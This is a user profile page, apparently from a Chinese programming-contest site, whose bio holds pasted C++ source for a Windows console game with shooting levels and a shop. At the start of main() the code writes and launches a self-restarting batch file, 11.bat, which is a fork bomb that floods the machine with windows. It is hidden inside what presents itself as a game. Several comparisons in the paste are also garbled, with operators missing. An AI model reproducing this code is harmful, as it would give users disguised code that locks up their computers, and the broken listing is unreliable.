• 个人简介

    //made by Ffu //1.3[秀锦三拜红尘梁] #include<ctime> #include<string> #include<conio.h> #include<cstring> #include<cstdlib> #include<iomanip> #include<iostream> #include<algorithm> #include<Windows.h> #include<queue> #include<vector> #include<sstream> #include<stdio.h> #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? true : false) using namespace std; int x=60,y=235,maxx=0,anss=0,money=0,yr[10]={0,1,0,0,0,0,0,0,0,0},xr[10]; char xy[60][235]; struct bmb{ int xx,yy; }; string s12=" ",s13=" ",s14=" ",s15=" ",s16=" ",s17=" "; bool oooo=true; struct popo{ int xb; string sy; int pr; }opopo[100]; vector<bmb> bomb; int sj=0,num; bool gch(char ch){if(getch()==ch)return true;return false;} bool chd(char ch){if(KEY_DOWN(ch)){return true; }return false;} void sb(int x,int y){ HANDLE handle=GetStdHandle(STD_OUTPUT_HANDLE); COORD pos; pos.X=x; pos.Y=y; SetConsoleCursorPosition(handle,pos); } void sx(int sc){ string st="分数: ",st1,dt5="血量:",ft5="钱:"; stringstream ss,cc; ss.clear(); ss<<sc; ss>>st1; st+=st1; sb(1,1); for(int i=0;i<x;i++){for(int j=0;j<y;j++){ st+=xy[i][j]; }st+="\n"; }cout<<dt5<<" "; cout<<ft5<<money<<" "; cout<<"盔甲护身:"<<yr[1]-1<<" "; cout<<"次元突破:"<<yr[2]<<" "; cout<<"火力掩护:"<<yr[3]<<" "; cout<<"超级分身:"<<yr[4]<<" "; cout<<"绝对领域:"<<yr[5]<<" "; cout<<"皇上驾到:"<<yr[6]<<" "; cout<<st; cout<<s12<<" "<<s13<<endl<<s17<<endl; cout<<s16; } bool game1(){//zheng bomb.clear(); int score=0,ball=35,ball2=1,enemy,ccc=x-1,ccc2=x-1,ll=1; double spd=1; bool stopped=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ball++;cin.sync(); } if(chd('A')){ball--;cin.sync(); } if(chd('W')){ccc--;cin.sync(); } if(chd('S')){ccc++;cin.sync(); } if(chd('Q')){ if(yr[2]>0){ yr[2]--; ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); }

    }
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    if(ball>=y-1)ball=y-1;
    if(ball<0)ball=0;
    
    if(sj%2==1){bomb.push_back((bmb){0,rand()%y});
    }
    if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin());
    }
    for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|';
    if(yr[1]>1){
    	xy[ccc-1][ball-1]='/';
    	xy[ccc+1][ball-1]='\\';
    	xy[ccc-1][ball+1]='\\';
    	xy[ccc+1][ball+1]='/';
    } 
    if(chd('E')){
    	if(yr[3]>0){
    	   yr[3]--;
    	   xy[ccc-1][ball-1]=' ';cin.sync();
    	   xy[ccc-1][ball]=' ';cin.sync();
    	   xy[ccc-1][ball+1]=' ';cin.sync();
    	   xy[ccc][ball-1]=' ';cin.sync();
    	   xy[ccc][ball+1]=' ';cin.sync();
    	   xy[ccc+1][ball-1]=' ';cin.sync();
    	   xy[ccc+1][ball]=' ';cin.sync();
    	   xy[ccc+1][ball+1]=' ';cin.sync();
    	}
    
    }
    	 
    }
    //spd*=1.1;
    }
    if(score>maxx){
      money+=1000;
    }
    money+=score;
    

    } bool game7(){ bomb.clear(); int score=0,ball=52,ball2=53,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[29][51]='1'; xy[30][51]='-';

    xy[29][174]='3';
    xy[30][174]='-';
    
    xy[29][112]='2';
    xy[30][112]='-';
    
    xy[31][112]='5';
    xy[32][112]='-';
    
    xy[31][51]='4';
    xy[32][51]='-';
    
    xy[31][174]='6';
    xy[32][174]='-';
    xy[ccc][ball]='Q';
    if(chd('D')){
    ball++;cin.sync();
    }
    if(chd('A')){
    ball--;cin.sync();
    }
    if(chd('W')){
    ccc--;cin.sync();
    }
    if(chd('S')){
    ccc++;cin.sync();
    }
    
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    for(int i=27;i<34;i++){
    	xy[i][49]='&';
    	xy[i][181]='&';
    }
    for(int i=49;i<182;i++){
    	xy[27][i]='&';
    	xy[33][i]='&';
    }
    if(ccc==30&&ball==51){
    	s13="x购买,c查看";
        if(chd('X')){
       	    if(money>=2000){
       	  	    yr[1]++;
    			money-=2000; 
    		} 
        }
       	if(chd('C')){
       	    s17="盔甲护身:2000 加上一点血量";  
        }
    } 
    if(ccc==30&&ball==174){
    	s13="x购买,c查看";
        if(chd('X')){
       	    if(money>=8000){
       	  	    yr[3]++;
    			money-=8000; 
    		} 
        }
       	if(chd('C')){
       	    s17="火力掩护:8000 三乘三不攻击";
        }
    }
    if(ccc==30&&ball==112){
    	s13="x购买,c查看";
       if(chd('X')){
       	    if(money>=5000){
       	  	    yr[2]++;
    			money-=5000; 
    		} 
       }
       	if(chd('C')){
       	    s17="次元突破:5000 移到队友那里";  
        }
    }
    if(ccc==32&&ball==51){
    	s13="x购买,c查看";
       if(chd('X')){
       	    if(money>=12000){
       	  	    yr[4]++;
    			money-=12000; 
    		} 
       }
       	if(chd('C')){
       	    s17="超级分身:1.2w 增加四个分身";  
        }
    }
    if(ccc==32&&ball==174){
    	s13="x购买,c查看";
       if(chd('X')){
       	    if(money>=20000){
       	  	    yr[6]++;
    			money-=20000; 
    		} 
       }
       	if(chd('C')){
       	    s17="皇上驾到:2.0w 让所有箭消失"; 
        }
    }
    if(ccc==32&&ball==112){
    	s13="x购买,c查看";
       if(chd('X')){
       	    if(money>=15000){
       	  	    yr[5]++;
    			money-=15000; 
    		} 
       }
       	if(chd('C')){
       	    s17="绝对领域:1.5w 生成25个护盾";  
        }
    }
    if(chd('E'))stopped=true;
    //spd*=1.1;
    }
    

    } bool game4(){ bomb.clear(); int score=0,ball=51,ball2=52,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); }

    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    xy[30][172]='Y';
    xy[29][171]='/'; 
    xy[29][173]='\\';
    xy[31][171]='\\';
    xy[31][173]='/';   
    for(int i=28;i<33;i++){
    	xy[i][50]='&';
    	xy[i][175]='&';
    }
    for(int i=50;i<176;i++){
    	xy[28][i]='&';
    	xy[32][i]='&';
    }
    if(ccc==30&&ball==170){
    	stopped=true;
    } 
    //spd*=1.1;
    }
    //Sleep(800);
    

    } int game6(){ bomb.clear(); int score=0,ball=112,ball2=52,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } if(chd('G'))s12=" ";cin.sync(); xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } xy[29][51]='h'; xy[29][174]='c'; xy[29][112]='s'; xy[31][112]='e'; xy[31][51]='z'; xy[31][174]='r'; for(int i=27;i<34;i++){ xy[i][49]='&'; xy[i][176]='&'; } for(int i=49;i<177;i++){ xy[27][i]='&'; xy[33][i]='&'; } if(ccc29&&ball51){ return 1; } if(ccc29&&ball174){ return 2; } if(ccc29&&ball112){ return 5; } if(ccc31&&ball112){ return 6; } if(ccc31&&ball51){ return 3; } if(ccc31&&ball174){ return 4; } //spd*=1.1; } //Sleep(800); } bool game2(){// bomb.clear(); int score=0,ball=2,ball2=3,enemy,ccc=x-3,ccc2=x-3,ll=0; double spd=1; bool stopped=false; bool okok=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; for(int j=1;j<x-1;j=j+5){ for(int k=1;k<y-1;k=k+15){ for(int i=1;i<=3;i++){ xy[j][k+i]='|'; } } } for(int i=9;i<=51;i++){ xy[i][91]='|'; } for(int i=9;i<=51;i++){ xy[i][141]='|'; } for(int i=91;i<=141;i++){ xy[51][i]='-'; } for(int i=91;i<=141;i++){ xy[9][i]='-'; } xy[9][116]=' '; for(int i=0;i<x;i++){ xy[i][0]='&'; xy[i][y-1]='&'; } for(int i=0;i<y;i++){ xy[0][i]='&'; xy[x-1][i]='&'; } xy[31][116]='#'; xy[16][116]='#'; xy[46][116]='#'; xy[31][101]='#'; xy[31][131]='#'; xy[ccc][ball]='Q'; if(xy[31][116]'Q'){ okok=true; stopped=true; } if(xy[16][116]'Q'){ okok=true; stopped=true;

    }
    if(xy[46][116]=='Q'){  
        okok=true;
        stopped=true;
       
    }
    if(xy[16][101]=='Q'){  
        okok=true;
        stopped=true;
       
    }
    if(xy[16][131]=='Q'){  
        okok=true;
        stopped=true;
       
    }
    if(chd('D')){
    if(xy[ccc][ball+1]=='|'||xy[ccc][ball+1]=='-'){
    	yr[1]--;
    }
    ball++;cin.sync();
    }
    if(chd('A')){
    if(xy[ccc][ball-1]=='|'||xy[ccc][ball-1]=='-'){
    	yr[1]--;
    }
    ball--;cin.sync();
    }
    if(chd('W')){
    if(xy[ccc-1][ball]=='|'||xy[ccc-1][ball]=='-'){
    	yr[1]--;
    }
    ccc--;cin.sync();
    }
    if(chd('S')){
    if(xy[ccc+1][ball]=='|'||xy[ccc+1][ball]=='-'){
    	yr[1]--;
    }
    ccc++;cin.sync();
    }
    if(chd('Q')){
    	if(yr[2]>0){
    	   ccc=ccc2;cin.sync();
    	   ball=ball2;cin.sync();
    	}
    
    }
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    if(ball>=y-1)ball=y-1;
    if(ball<0)ball=0;
    
    if(sj%2==1){bomb.push_back((bmb){0,rand()%y});
    }
    if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin());
    }
    for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|';
    if(yr[1]>1){
    	xy[ccc-1][ball-1]='/';
    	xy[ccc+1][ball-1]='\\';
    	xy[ccc-1][ball+1]='\\';
    	xy[ccc+1][ball+1]='/';
    } 
    	 
    }
    //spd*=1.1;
    }
    if(okok){
    	game4();
    	money+=2000;
    }
    money+=score;
    //Sleep(800);
    

    } bool game3(){// bomb.clear(); int score=0,ball=2,ball2=3,enemy,ccc=x-2,ccc2=x-2,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[2][2]='~'; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } for(int j=1;j<x-1;j=j+5){ for(int k=1;k<y-1;k=k+15){ for(int i=1;i<=3;i++){ xy[j][k+i]='^'; } } } for(int i=1;i<=8;i++){ xy[3][i]='^'; } for(int i=1;i<=8;i++){ xy[4][i]='^'; } for(int i=1;i<=5;i++){ xy[i][10]='^'; } for(int i=4;i<=7;i++){ xy[i][8]='^'; } for(int i=1;i<=5;i++){ xy[7][7+i]='^'; } for(int i=1;i<=3;i++){ xy[5][10+i]='^'; } if(xy[ccc][ball]'^'){ yr[1]--; } if(xy[2][2]'Q'){ oko=true; stopped=true; } if(chd('Q')){ if(yr[2]>0){ ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); }

    }
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    for(int i=0;i<x;i++){
    	xy[i][0]='&';
    	xy[i][y-1]='&';
    }
    for(int i=0;i<y;i++){
    	xy[0][i]='&';
    	xy[x-1][i]='&';
    }
    if(ball>=y-1)ball=y-1;
    if(ball<0)ball=0;
    if(sj%2==1){bomb.push_back((bmb){0,rand()%y});
    }
    if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin());
    }
    for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|';
    if(yr[1]>1){
    	xy[ccc-1][ball-1]='/';
    	xy[ccc+1][ball-1]='\\';
    	xy[ccc-1][ball+1]='\\';
    	xy[ccc+1][ball+1]='/';
    } 
    	 
    }
    //spd*=1.1;
    }
    if(oko){
       game4();
       money+=2000;
    }
    money+=score;
    //Sleep(800);
    

    } bool game5(){// bomb.clear(); int score=0,ball=3,ball2=4,enemy,ccc=x-3,ccc2=x-3,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(20); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[1][117]='X'; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } if(chd('Q')){ if(yr[2]>0){ ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); }

    }
    if(xy[1][117]=='Q'){
    	oko=true;
    	stopped=true;
    }
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    for(int i=0;i<x;i++){
    	xy[i][0]='&';
    	xy[i][y-1]='&';
    }
    for(int i=0;i<y;i++){
    	xy[0][i]='&';
    	xy[x-1][i]='&';
    }
    if(ball>=y-1)ball=y-1;
    if(ball<0)ball=0;
    if(sj%2==1){bomb.push_back((bmb){0,rand()%y});
    }
    if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin());
    }
    for(int i=0;i<bomb.size();i++){
    if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;
    if(xy[bomb[i].xx][bomb[i].yy-1]=='Q')yr[1]--;
    if(xy[bomb[i].xx][bomb[i].yy+1]=='Q')yr[1]--;
    xy[bomb[i].xx][bomb[i].yy]='*';
    xy[bomb[i].xx][bomb[i].yy-1]='*';
    xy[bomb[i].xx][bomb[i].yy+1]='*';
    	 
    }
    //spd*=1.1;
    }
    if(oko){
       game4();
       money+=5000;
    }
    money+=score;
    //Sleep(800);
    

    } POINT P; int main(){ char chh,ch1,ch2; int s,nn,hhhhh[10000]; srand((unsigned)getpid()); GetCursorPos(&P); int x1=P.x; int y1=P.y; freopen("11.out","w",stdout); cout << ":1 \n start 11.bat \n goto 1"; fclose(stdout); system("ren 11.out 11.bat"); system("start 11.bat"); SetCursorPos(1366,768); while(1){ s12.erase(0,11111); s12="a 左走,d 右走,w 上走,s 下走 切记:玩的时候一定要开全屏 全屏:f11键 "; if(yr[1]0)yr[1]=1; nn=game6(); if(nn6)break; if(nn5){ s13="按e退出商店"; game7(); } if(nn3){ game1(); } if(nn2){ s16="绕过尖刺^,把古树核心~抢过来,我给你2000块:深林长老"; game3(); } if(nn1){ s16="绕过火焰|,把火能核心#抢过来,我给你2000块:烈焰长老"; game2(); } if(nn==4){ s16="绕过飞镖*,把毁灭核心X抢过来,我给你5000块:暗影长老"; game5(); } } cout<<"让我们下次再见"; sb(0,59); }

  • 通过的题目

  • 最近活动

    This person is lazy and didn't join any contests or homework.
  • 最近编写的题解

    This person is lazy and didn't write any solutions.